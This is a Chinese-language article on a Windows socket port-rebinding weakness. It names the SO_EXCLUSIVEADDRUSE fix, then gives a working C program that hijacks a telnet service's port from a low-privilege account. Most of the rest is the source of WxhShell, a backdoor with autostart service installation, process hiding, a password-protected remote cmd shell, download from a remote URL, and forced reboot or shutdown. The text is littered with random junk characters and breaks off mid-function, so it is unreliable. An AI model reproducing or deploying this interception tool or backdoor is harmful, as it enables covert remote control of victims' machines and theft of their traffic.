在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
5~`|)~FA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
$Nt=gSWw5 #Qtg\X
saddr.sin_family = AF_INET;
'_TJ"lOZ >)AE|j` saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/tI d#/Y Ev$-PX bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8I5 VrT |1_$!
p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
w*&n(zJF> 'T&=$9g7 这意味着什么?意味着可以进行如下的攻击:
? e9XVQ* P+*rWJ8gQ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
gTmUK{y' c~^]jqid] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
aIzp\$NWVK [#STR=_f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
)+jK0E1 g9FVb7In_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Ov~S2?E8 Rk437vQD, 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
2;Y@3d:z [B2>*UPl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
;qT!fuN; (!XYH@Mz<w 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
JR?
)SGB w]o:c(x@ #include
^| FVc48{ #include
s60:0 > #include
)CwMR'LV #include
r2E>sHw DWORD WINAPI ClientThread(LPVOID lpParam);
6*(h9!_T1 int main()
i#M a-0# {
Y1U"HqNl* WORD wVersionRequested;
{E3<GeHw4 DWORD ret;
{.' ,%) WSADATA wsaData;
,<^tsCI BOOL val;
bG?WB,1 SOCKADDR_IN saddr;
}<}`Q^Mlk SOCKADDR_IN scaddr;
3IJI5K_ int err;
YaY;o^11/ SOCKET s;
!7Yt`l$$z SOCKET sc;
'1kj:Np int caddsize;
:N+#4rtgUY HANDLE mt;
.qb_/#Bas DWORD tid;
e~>p.l wVersionRequested = MAKEWORD( 2, 2 );
{d?4;Kd err = WSAStartup( wVersionRequested, &wsaData );
,#'o)O# if ( err != 0 ) {
?|Q5]rhs printf("error!WSAStartup failed!\n");
JucxhjV#, return -1;
Pw^c2TQ }
[FAOp@7W saddr.sin_family = AF_INET;
! 6p)t[s #g-*n@
1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
L?D~~Jb iZkW+5( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
r0?hX saddr.sin_port = htons(23);
WDH[kJ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z68Wf5@to& {
9
.&Or4> printf("error!socket failed!\n");
~*cY& 9 return -1;
1EAVMJ }
'QekQ]; val = TRUE;
;@7#w //SO_REUSEADDR选项就是可以实现端口重绑定的
p^zEfLTU if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
d_WnK{ {
^7s6J{< printf("error!setsockopt failed!\n");
:#W>SO return -1;
H s4zJk }
?%za:{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
r"u(!~R //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
xV n]m9i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
!s[j1=y 6(<~1{
X% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
iM\ZJ6 {
Y9H *S*n ret=GetLastError();
vRb(eg printf("error!bind failed!\n");
tN'- qdm return -1;
(;Q <@PZg }
&6|^~(P? listen(s,2);
{HRxyAI! while(1)
dl7p1Cr {
*F8uu. caddsize = sizeof(scaddr);
a9@l8{)RX //接受连接请求
".Deu|> sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
^?^|Y?f2P? if(sc!=INVALID_SOCKET)
dn)tP6qc/ {
WEV{C(u<k! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
[[66[;
if(mt==NULL)
`.sIZku {
[@. jL0> printf("Thread Creat Failed!\n");
.k:&&sAz break;
|Qt`p@W }
O'& \-j 1 }
1(;33),P8 CloseHandle(mt);
<>*''^ }
l&^[cR closesocket(s);
_9O }d WSACleanup();
i2ml[;*,N return 0;
_qzo):G.s }
Jm J,~_ DWORD WINAPI ClientThread(LPVOID lpParam)
B=Jd%Av {
/hEGk~ SOCKET ss = (SOCKET)lpParam;
$hE'b9qx SOCKET sc;
LN6 JH! unsigned char buf[4096];
x]d"|jmVZ SOCKADDR_IN saddr;
://|f long num;
z5*O@_r+.b DWORD val;
D16;6K'{ DWORD ret;
f$@". //如果是隐藏端口应用的话,可以在此处加一些判断
\$HB~u%dr //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~tj7zI6 saddr.sin_family = AF_INET;
P2:Q+j:PX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
X"khuyT_ saddr.sin_port = htons(23);
\q`+ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
?xTeio44 {
IO)Ft printf("error!socket failed!\n");
k2tX$ \E return -1;
(zLIv9$ }
bQN4ozSi val = 100;
NW>:Lz
?" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
em9]WSfZ@` {
8^"|-~#< ret = GetLastError();
qyBK\WqaP return -1;
)J6b:W }
9B;Sk]y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
eP'kY(g8 {
VU'l~%ql ret = GetLastError();
JK8@J9(# return -1;
(PrPH/$ }
<ZvPtW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
BLH3$*,H {
UCj#t!Mw printf("error!socket connect failed!\n");
Dp6"I!L<| closesocket(sc);
(uK), *6B closesocket(ss);
BiLreZ~" return -1;
p*&LEjaVM4 }
:ktX7p~ while(1)
!/(}meZj {
O>F.Wf5g //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
I8%'Z>E( //如果是嗅探内容的话,可以再此处进行内容分析和记录
Cg\)BHv~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
ieF 0<'iF num = recv(ss,buf,4096,0);
ZG[0rvW if(num>0)
vAhO!5]>\ send(sc,buf,num,0);
Uus)2R7 else if(num==0)
F5Q. Vh break;
S"A_TH num = recv(sc,buf,4096,0);
HY| SLk/E if(num>0)
!<PTsk F send(ss,buf,num,0);
zr9Pm6Rl else if(num==0)
3Co>3d_ break;
NGQIoKC }
L#@$Mtc closesocket(ss);
i&Cqw~.H closesocket(sc);
^Jpd9KK return 0 ;
F"#*8P }
1'pQ, Q)X\VQcgj <gzMDX[^M ==========================================================
C)^\?DH XN%D`tbvJ 下边附上一个代码,,WXhSHELL
^g){)rz| 128 rly ==========================================================
;RZa<2 +hhbp'% #include "stdafx.h"
.7Bav5 ; I,?LZ_pK #include <stdio.h>
(xJBN?NRO #include <string.h>
4IE#dwZW #include <windows.h>
`CouP-g. #include <winsock2.h>
.@Sh,^ v #include <winsvc.h>
FsZEB/c #include <urlmon.h>
\/%Q PE8 'N/%SRk #pragma comment (lib, "Ws2_32.lib")
`fVA.% #pragma comment (lib, "urlmon.lib")
[~JN n 93b5S>&r #define MAX_USER 100 // 最大客户端连接数
ky"7 ^ #define BUF_SOCK 200 // sock buffer
1fp&"K:yR #define KEY_BUFF 255 // 输入 buffer
4[j) $!l` n{* [Y
#define REBOOT 0 // 重启
p)]^>-L #define SHUTDOWN 1 // 关机
Y(mwJud| &1n0(qB #define DEF_PORT 5000 // 监听端口
Ps,w(k{d $jL.TraV7 #define REG_LEN 16 // 注册表键长度
tXGcwoOB #define SVC_LEN 80 // NT服务名长度
[vJosbU; uB! P>v6 // 从dll定义API
F&Z>B}; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%j`]x
-aOz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
TJa%zi typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
49>yIuG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
F<1'M#bl 2)H|/ // wxhshell配置信息
1O{67Pf struct WSCFG {
O$ \N]# int ws_port; // 监听端口
_J`M>W)8 char ws_passstr[REG_LEN]; // 口令
0(.C f.B~ int ws_autoins; // 安装标记, 1=yes 0=no
S!bvU2d char ws_regname[REG_LEN]; // 注册表键名
S+ x[1#r char ws_svcname[REG_LEN]; // 服务名
]vG)lY.= char ws_svcdisp[SVC_LEN]; // 服务显示名
7]
H4E.(l char ws_svcdesc[SVC_LEN]; // 服务描述信息
w%"q=V char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Z.:A26 int ws_downexe; // 下载执行标记, 1=yes 0=no
TR;-xst@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
? -tw *2+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{rr\hl-$ ~'Hwszpb };
tp0*W
_<4 83|/sWrvh // default Wxhshell configuration
8Aqe'2IH= struct WSCFG wscfg={DEF_PORT,
f:>jH+o.S "xuhuanlingzhe",
|hAGgo/03 1,
3J{'|3x "Wxhshell",
;* Jd#O "Wxhshell",
8;@eY`0( "WxhShell Service",
-A~<IyPt "Wrsky Windows CmdShell Service",
dzap]RpB "Please Input Your Password: ",
fz\Az- 1,
g [K8G "
http://www.wrsky.com/wxhshell.exe",
"5FeP; "Wxhshell.exe"
NiF*h~q };
Si(?+bda0c
C .Yz<?;S // 消息定义模块
jLU)S) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
U bXz`i char *msg_ws_prompt="\n\r? for help\n\r#>";
qxNV~aK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
x3
<Lx^; char *msg_ws_ext="\n\rExit.";
2oRmro char *msg_ws_end="\n\rQuit.";
jA'+>`@ char *msg_ws_boot="\n\rReboot...";
9lwg`UWl, char *msg_ws_poff="\n\rShutdown...";
i+6/ g char *msg_ws_down="\n\rSave to ";
#:X:~T N_U
D7P1 char *msg_ws_err="\n\rErr!";
%\u>%s<9 char *msg_ws_ok="\n\rOK!";
o>h>#!e v,! u{QP char ExeFile[MAX_PATH];
4ai3@f5 int nUser = 0;
{WChD&v HANDLE handles[MAX_USER];
Z(cgI5Pu
int OsIsNt;
%$U+?lk} >jIc/yEYKI SERVICE_STATUS serviceStatus;
uFgw eOJ SERVICE_STATUS_HANDLE hServiceStatusHandle;
d p].FS Cq=c'(cX // 函数声明
o<;"+ @v int Install(void);
)Lq FZ~B int Uninstall(void);
Tu"](|I> int DownloadFile(char *sURL, SOCKET wsh);
wrWWXOZ4 int Boot(int flag);
Zv_<*uzKZ void HideProc(void);
Y\\&~g42R2 int GetOsVer(void);
G!uxpZ int Wxhshell(SOCKET wsl);
4R.#=]F void TalkWithClient(void *cs);
.$rcTZ int CmdShell(SOCKET sock);
e):
&pqA int StartFromService(void);
u<[Y6m int StartWxhshell(LPSTR lpCmdLine);
mi+I)b= 4f+Ke*^[RA VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
GauIe0qV VOID WINAPI NTServiceHandler( DWORD fdwControl );
zB4gnVhus| v "07H // 数据结构和表定义
!^%b|=[ SERVICE_TABLE_ENTRY DispatchTable[] =
aO{k-44y {
fa)G$Q {wscfg.ws_svcname, NTServiceMain},
2X:n75() {NULL, NULL}
oVs&r?\Z };
QAr1U7{(. i4l?q#X // 自我安装
Y0DBkg int Install(void)
/h;X1Htx} {
-7u4f y{T char svExeFile[MAX_PATH];
]Kd:ZmJ HKEY key;
h
c"n? strcpy(svExeFile,ExeFile);
)%0#XC^/X5 \;~>AL* // 如果是win9x系统,修改注册表设为自启动
y37@4p^@9 if(!OsIsNt) {
0YKG`W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d)LifsD) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
: )&_ RegCloseKey(key);
,JR7N_"I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L(iWFy1& T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
TB9ukLG^<< RegCloseKey(key);
jl@xcs]# return 0;
=2<
>dM#` }
%@LVoP!@! }
,+f'%)s_x }
|<OZa;c+ else {
\D0Pik@? i=Y#kL~f // 如果是NT以上系统,安装为系统服务
|[0|j/V%O SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
3ILEc:<0J if (schSCManager!=0)
SH"O<cDp {
6B&':N98 SC_HANDLE schService = CreateService
d+l@hgz~ (
~%'M[3Rb schSCManager,
k#U?Xs> wscfg.ws_svcname,
mIt=r_ wscfg.ws_svcdisp,
r'"H8>UZ% SERVICE_ALL_ACCESS,
rB-&'#3% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
B#8!8 SERVICE_AUTO_START,
.(D-vkz' SERVICE_ERROR_NORMAL,
8|gwH2st~ svExeFile,
kd2+k4@# NULL,
EP*"=_ NULL,
]wZG4A NULL,
2!}5shB NULL,
aqtQGK57"% NULL
7aS`SF );
kLK}N>v}X if (schService!=0)
TX$j-TM' {
ki39$A'8 CloseServiceHandle(schService);
*1|&uE&_R CloseServiceHandle(schSCManager);
><+wH b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
a(QYc?u strcat(svExeFile,wscfg.ws_svcname);
}<m9w\pA if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
wP29xV"5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
pwr,rAJ}$j RegCloseKey(key);
_O{3bIay3! return 0;
It&$R`k }
,5.ve)/dE }
KFx4"f% CloseServiceHandle(schSCManager);
@-)jU! }
qf#Ou }
_46
y =c:K(N qL return 1;
Tc$Jvy-G4A }
X|++K;rtfE ?U$H`[VF} // 自我卸载
Y
{a#2(xn int Uninstall(void)
rE)lt0mkv {
as6a)t.^ HKEY key;
$DBJ"8n2 2NB/&60< if(!OsIsNt) {
[z=KHk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
jOV,q%)^,: RegDeleteValue(key,wscfg.ws_regname);
:(ni/,~Q RegCloseKey(key);
xY v@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|1!RvW:[! RegDeleteValue(key,wscfg.ws_regname);
A0JlQE&U RegCloseKey(key);
ROb2g|YXG return 0;
hhRUC&Y%V }
P3Ocfpf Bp }
`3GYV|LeQ }
:Aq==N_/2 else {
;tg9$P<85 hUR>NUK@8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
(@X].oM^y if (schSCManager!=0)
_=$:<wIE[ {
<l>o6K SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
q.I if (schService!=0)
mQwP-s {
1!/WC.0 if(DeleteService(schService)!=0) {
\?EnTu. CloseServiceHandle(schService);
BeFCt; CloseServiceHandle(schSCManager);
d K.k,7R return 0;
P~xP@?I% }
~IQ3B$4H& CloseServiceHandle(schService);
pd%h5|*n; }
xQA6!j CloseServiceHandle(schSCManager);
{zha jY7 }
ny++U;qi }
<gfkbDP2 ';,Rq9-' return 1;
O>
.gcLA }
e:`d)GE q/qJkr^2 // 从指定url下载文件
u/6b.hDO int DownloadFile(char *sURL, SOCKET wsh)
7j,u&%om {
>oYr=O HRESULT hr;
(?y (0%q char seps[]= "/";
ais@|s; char *token;
xQU$E|I char *file;
Z~[EZgIg char myURL[MAX_PATH];
tMbracm char myFILE[MAX_PATH];
v#Xl `PH]_]:% strcpy(myURL,sURL);
vXI2u;=y token=strtok(myURL,seps);
mto=_|gn while(token!=NULL)
iCXKi7 {
d$f3Cre file=token;
3OZu v};k token=strtok(NULL,seps);
Z4VNm1qs }
md
S`nhb r
P1FM1"M GetCurrentDirectory(MAX_PATH,myFILE);
GI.=\s strcat(myFILE, "\\");
B QxU~s strcat(myFILE, file);
.=`r?#0 send(wsh,myFILE,strlen(myFILE),0);
0D==0n send(wsh,"...",3,0);
%Eq4>o?D hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_]aA58,j if(hr==S_OK)
AhA4IOG`. return 0;
hH.X_X?d% else
D #Ku5~j return 1;
Ew, 1*WK! *h9S\Pv>j }
Q |1-j 4). i4]%LH // 系统电源模块
7c8A|E0\mF int Boot(int flag)
mN^/ {
.e Jt]K HANDLE hToken;
f=,(0ygt/ TOKEN_PRIVILEGES tkp;
f%gdFtJ & q'9}Hz if(OsIsNt) {
'h*^;3@* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.5AyB9a%& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
I
7 B$X= tkp.PrivilegeCount = 1;
XLq%nVBM8\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ec4+wRWk85 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
P/?'ea if(flag==REBOOT) {
c|hT\1XR, if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
) 1PjI9M return 0;
m ,|)$R }
4z*An}ol] else {
\ )'`F;
P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#]vs*Sz return 0;
Ex`!C]sQ }
]>_Ie?L)< }
v<u`wnt else {
|,)=-21&; if(flag==REBOOT) {
9V/:1I0?&0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^hy Y,X return 0;
k.@OFkX. }
{9_}i#,vR else {
,z@"pI
b if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
3U\| E return 0;
ipi^sCYp }
_&U.DMt2 C }
~jOn)jBRZ OA?pBA return 1;
2leTEs5aK` }
lKT<aYX xsN)a! // win9x进程隐藏模块
9*b(\Z)N void HideProc(void)
p*ic@n*G {
rAwuWM@BIg ==XO:P HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
hT
DFIYV if ( hKernel != NULL )
fBw"<J{ {
Tj3xK%K_r3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
a 9H^e<g ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6a MG!_jC FreeLibrary(hKernel);
{1VMwANj }
:d{-"RAG" !M*$pQi} return;
pf@H;QS` }
=bgu2#%Z c8<qn+=%? // 获取操作系统版本
=_)yV0 int GetOsVer(void)
\LbBK ~l-I {
VX{9g#y$j OSVERSIONINFO winfo;
1RM@~I$0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Smc=-M} GetVersionEx(&winfo);
Ng 3r`S"_< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zu52]$Vj return 1;
H5J1j*P<d else
YQ
_]Jv k return 0;
-+)06BqF} }
"MX9h }7 tA{B~> // 客户端句柄模块
8}_M1w6v int Wxhshell(SOCKET wsl)
ymo]. {
[19QpK WM SOCKET wsh;
P;7
Y9} struct sockaddr_in client;
zxhE9 [`*e DWORD myID;
/Y_)dz^@ ~A-Y%P while(nUser<MAX_USER)
yR'%UpaE {
kl+^0i int nSize=sizeof(client);
!=SBeq wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(_.0g}2 if(wsh==INVALID_SOCKET) return 1;
E#A%aLp0E D.:6X'hp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
aEvW<jHh if(handles[nUser]==0)
kh5VuXpe closesocket(wsh);
)/mBq#ZS else
CA[3R nUser++;
-qNun3 }
8{)j"rghah WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
f:u3fL gF53[\w^v return 0;
j.O+e|kxU }
0E^6"nt7N chs] ,7R // 关闭 socket
QTLGM-Z void CloseIt(SOCKET wsh)
ww#]i&6 {
H$44,8,m closesocket(wsh);
@Lk!nP nUser--;
SpJIEw ExitThread(0);
hztxsvw }
jn,_Ncd# nA4PY] // 客户端请求句柄
Tk~Y void TalkWithClient(void *cs)
LZ-&qh {
AdGDs+at, e,8[fp-7 SOCKET wsh=(SOCKET)cs;
3z~d7J char pwd[SVC_LEN];
6*r#m%| char cmd[KEY_BUFF];
Zog&:]P'F char chr[1];
fMluVND int i,j;
`2l
j{N b-Xc6f while (nUser < MAX_USER) {
J*nWCL 1ww#]p`1 if(wscfg.ws_passstr) {
mi'3ibCG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
I;GbS` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E=$li //ZeroMemory(pwd,KEY_BUFF);
Mo4k6@ht_ i=0;
D@?Tq,=
[ while(i<SVC_LEN) {
>p?Vv0* ^jB17z[ // 设置超时
+.pri fd_set FdRead;
j[Z<|Da struct timeval TimeOut;
[$e\?c FD_ZERO(&FdRead);
<;P40jDL FD_SET(wsh,&FdRead);
PHU$<> TimeOut.tv_sec=8;
0qp Pz|h TimeOut.tv_usec=0;
^+k~{F,) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
e754g(|>b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/#-zI#iK
pz0Q@ n/X if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
UB2Ft= pwd
=chr[0];
H_vGa!_
if(chr[0]==0xd || chr[0]==0xa) { /Dj-@7.C/
pwd=0; /L^pU-}Z0
break; <1eD*sC?g
} _2~+%{/m,
i++; 5lrjM^E|
} H63?Erh>a
F1GFn|OA
// 如果是非法用户,关闭 socket p:?h)'bA<
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \PL0-.t,
} `NB6Of*/
w0&|8y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y{D?&x%yq
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _h^er+d!_
';zS0Yk
while(1) { # ~(lY}
%@MO5#)NI
ZeroMemory(cmd,KEY_BUFF); Lu5lpeSQ
*|({(aZ
// 自动支持客户端 telnet标准 }F4%5go
j=0; ;|r<mT/,
while(j<KEY_BUFF) { =HHtLW.|,
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hEMS
cmd[j]=chr[0]; j^6,V\;l
if(chr[0]==0xa || chr[0]==0xd) { :3A^5}iz
cmd[j]=0; AOv>O52F/Q
break; ]47!Zo,
} 6(8zt"E
j++; ZO8r8
[
} 'BX
U'
iT=h}>
// 下载文件 B+4WnR1%T
if(strstr(cmd,"http://")) { )~be<G( a
send(wsh,msg_ws_down,strlen(msg_ws_down),0); $Y?[[>u
if(DownloadFile(cmd,wsh)) -58Sb"f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1qm
_Qs&
else {xu~Dx
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IylfMwLC
} #ja6nt8GC
else { J*D3=5&
s)~Wcp'+M:
switch(cmd[0]) { $J9/AFzO"
4Hq6nT/
// 帮助 ->rudRQ
case '?': { "?S>}G\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [Wn6d:
break; 4|h>.^
} O&}`R5Y;
// 安装 B4t,@,\O
case 'i': { }iRRf_
if(Install()) ge|Cvv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|V [^#V
else vRMGNz_P7[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nn{/_QG
break; Fd/Ra]@\Y
} Rja>N)MzBf
// 卸载 <,</ Ge
case 'r': { Z> <,t~o}
if(Uninstall()) S.|%dz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;nw}x4Y[
else H,Yrk(O-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WQBpU?O
break; aC#{@t
} %`0*KMO3
// 显示 wxhshell 所在路径 $g '4'
case 'p': { [/Xc},HbMe
char svExeFile[MAX_PATH]; ZN}U^9m=
strcpy(svExeFile,"\n\r"); seiE2F[
strcat(svExeFile,ExeFile); `teaE7^Wm
send(wsh,svExeFile,strlen(svExeFile),0); %ZTI ?a
break; ?6 _U>d{
} pGP$2
// 重启 ?P"j5
case 'b': { e$N1m:1*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I>:.fHvUC
if(Boot(REBOOT)) ,~>u<Wc!S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bxk2P<d
else { ofuQ`g1hb
closesocket(wsh); 4?Qc&e{5
ExitThread(0); }*,z~y}V#
} 5!qLJmd=
break; CO{AC~
} kk ZMoK
// 关机 b|u,[jEB
case 'd': { v-XB\|f
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); no9=K4h`
if(Boot(SHUTDOWN)) %h}3}p#4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Ooq.jaK;/
else { #K\;)z(?
closesocket(wsh); \
m g
ExitThread(0); @!mjjeG+1
} kY#sQz}8
break; <ELqj2`c
} O6]X\Cwj%
// 获取shell dF'oZQz
case 's': { iCdq-r/r!6
CmdShell(wsh); 23'Ac,{
closesocket(wsh); Bi|-KS.9
ExitThread(0); E[M.q;rM
break; G$1gk ^G's
} W <M\b#
// 退出 qhOV>j,d
case 'x': { =po5Q6@i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +?+iVLr!l}
CloseIt(wsh); 9ZG__R3B1\
break; S<>u
} s=1w6ZLD
// 离开 Atod&qH
case 'q': { k!{h]D0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~"22X`;h[G
closesocket(wsh); 2YpJ4.
WSACleanup(); e89IT*
exit(1); 6&L8{P
break; 7vEZb.~4z
} #.|MV}6rQ
} 7-c3^5gn{
} .1h1J
m-R`(
// 提示信息 U}SN#[*
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &W?
hCr
} J"
U!j
} @.l?V6g9T
-bp7X{&
return; 6mC% zXR5
} V?4G~~F
V#\ iO
// shell模块句柄 1VB{dgr
int CmdShell(SOCKET sock) aKw7m={
{ _}Ec[c
STARTUPINFO si; qQe23,x@5
ZeroMemory(&si,sizeof(si)); @^^,VgW[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E\XD~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |1UJKJwX
PROCESS_INFORMATION ProcessInfo; {
u1\M
char cmdline[]="cmd"; Jl{g"N{2u'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e'&<DE)
return 0; 7-[^0qS
} U&L?IT=x
UE
K$
// 自身启动模式 v v]rXJu1
int StartFromService(void) D]hwG0Chd
{ ItwJL`
typedef struct )k&!&
{ B/bS:
DWORD ExitStatus; z+X DN:
DWORD PebBaseAddress; ~jM!8]=
